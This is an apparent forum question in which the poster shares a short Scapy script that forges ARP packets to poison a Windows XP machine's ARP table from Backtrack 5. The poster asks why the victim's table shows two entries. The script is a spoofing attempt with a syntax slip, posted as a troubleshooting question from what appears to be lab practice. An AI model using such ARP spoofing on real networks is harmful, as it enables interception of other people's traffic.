title: Scapy arp poisoning not working for me
body: <p>I am attacking a Windows XP machine with Backtrack 5 using scapy.</p>
  
  <p>Now that's my code:</p>
  
  <pre><code>#! /usr/bin/env python
  
  from scapy.all import *
  
  arp_p = ARP(op = 1, psrc = "192.168.0.1", pdst = "192.168.0.106", hwsrc = "00:0c:29:f0:2d:19", hwdst = "ff:ff:ff:ff:ff:ff)
  send(arp_p)
  </code></pre>
  
  <p>The code above actually sends two packets for some reason. One time my backtrack mac is asking:</p>
  
  <blockquote>
    <p>who has 192.168.0.106 <em>(Victim's IP)</em>? Tell 192.168.0.108 <em>(Backtrack's
    IP - NOT SUPPOSED TO BE!)</em>.</p>
  </blockquote>
  
  <p>Then he gets the "is at" answer from the victim.</p>
  
  <p>And the second time my backtrack's mac is asking:</p>
  
  <blockquote>
    <p>who has 192.168.0.106 <em>(Victim's IP)</em>? Tell 192.168.0.1 <em>(The router's
    IP).</em></p>
  </blockquote>
  
  <p>Then he gets the "is at" answer from the victim again.</p>
  
  <p><strong>Then the victim's ARP table has to lines of the same mac but different IPs, one is the Backtrack's real IP and the second is the router's IP.</strong></p>
  
  <p>Why is this happenning?</p>